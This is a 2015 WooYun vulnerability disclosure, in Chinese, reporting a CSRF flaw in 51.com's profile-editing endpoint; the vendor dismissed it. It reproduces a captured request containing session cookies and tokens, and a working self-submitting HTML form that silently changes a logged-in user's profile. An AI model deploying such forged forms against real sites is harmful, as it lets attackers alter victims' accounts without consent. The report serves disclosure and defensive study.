51.comCSRF漏洞可修改用户个人信息

编号127639
Urlhttp://www.wooyun.org/bug.php?action=view&id=127639
漏洞状态漏洞已经通知厂商但是厂商忽略漏洞
漏洞标题51.comCSRF漏洞可修改用户个人信息
漏洞类型CSRF
厂商51.com
白帽子黑翼、
提交日期2015-07-20 15:02:00
公开日期2015-07-20 16:43:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签CSRF csrf csrf利用技巧
关注数0
收藏数0
白帽评级
白帽自评rank5
厂商评级
厂商评rank0
漏洞简介
51.comCSRF漏洞可修改用户个人信息
漏洞细节

注册用户-登录-个人资料设置 --抓包

POST /user/modifyinfoedit HTTP/1.1
Host: my.51.com
Proxy-Connection: keep-alive
Content-Length: 222
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://my.51.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://my.51.com/user/modifyinfo
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: FO_TUID=mtS89X; PHPSESSID=7788e6b685bdb209eea4612e8ef496d5; Hm_lvt_940aa8668c1606e3733aded32f601d5d=1437255774; Hm_lpvt_940aa8668c1606e3733aded32f601d5d=1437255774; FO_LSTATE=1437255812|409867276|5074c1d07b613fc62c4361eb021f4e5a|$$||2; FO_TOKEN=82823814d2ed9e46d881fc0e113b03a7; FO_INFO=eNotjUsOgzAMRE/TbCpQHD6BhRddcgoUJS6NWmJEArS3Ly1srDeaN7JYIs19pDeCePFK/TTzigdanz4nJt4Cir8bvH0GM9IZ78YSyoNnGpxJhEpClUmdQXuV1aW4lcV+CjikZfo5k4mxT378b73DUrZNrZWu93+DD92EoGTeQA5NmystBmbXuV021vISEm7MnyVYig8vHt45Cns5m+B4RCgLraqqAfUFj4BJuw==; FO_APP=4ac3Th6xmmmIqjfp1K8bSj6iQqM1WEr1y+kOiHgjumsNWYaqA3gaHcSPJ7r4QBHOjTU; guibin_kefu_409867276=0%7C0%7C0%7Chttp%3A%2F%2Fp4.pic.51img1.com%2Fv6%2Fguibin%2Fimages%2Fguibin_kefu.gif%3Fv%3D20140408; s_409867276=409867276|wooyunceshi|2015-07-19 05:43:31|web_link_www_passport; shortmsglibao=409867276|1; Hm_lvt_34f7e7c39b355473a2e7222e7aca5498=1437255815,1437255877,1437255882,1437255888; Hm_lpvt_34f7e7c39b355473a2e7222e7aca5498=1437257349
nickname=wooyun666666&sex=0&preferredBirthday=0&byear=2015&bmonth=2&bday=1&hideage=0&prov=北京&city=大兴&town=大兴&height=150&work=搬砖&study=7&money=6&idea=1&style=1


发现没用token之类的验证,来看看能不能实施CSRF攻击

<html>
<!-- o(∩_∩)o -->
<body>
<form action="http://my.51.com/user/modifyinfoedit" method="POST">
<input type="hidden" name="nickname" value="wooyun186" />
<input type="hidden" name="sex" value="0" />
<input type="hidden" name="preferredBirthday" value="0" />
<input type="hidden" name="byear" value="2015" />
<input type="hidden" name="bmonth" value="2" />
<input type="hidden" name="bday" value="1" />
<input type="hidden" name="hideage" value="0" />
<input type="hidden" name="prov" value="北京" />
<input type="hidden" name="city" value="大兴" />
<input type="hidden" name="town" value="大兴" />
<input type="hidden" name="height" value="150" />
<input type="hidden" name="work" value="搬砖" />
<input type="hidden" name="study" value="7" />
<input type="hidden" name="money" value="6" />
<input type="hidden" name="idea" value="1" />
<input type="hidden" name="style" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
document.forms[0].submit();
</script>
</html>


打开看看.

QQ截图20150719061223.png


POC

成功修改

QQ截图20150719061444.png


其他也是可以修改的

修复方案

你们更专业

状态信息 2015-07-20: 细节已通知厂商并且等待厂商处理中
2015-07-20: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复自己的信息通过表单提交,当然是爱怎么改就怎么改
无法修改别人的,我们都是通过session来进行控制
回应信息危害等级:无影响厂商忽略忽略时间:2015-07-20 16:43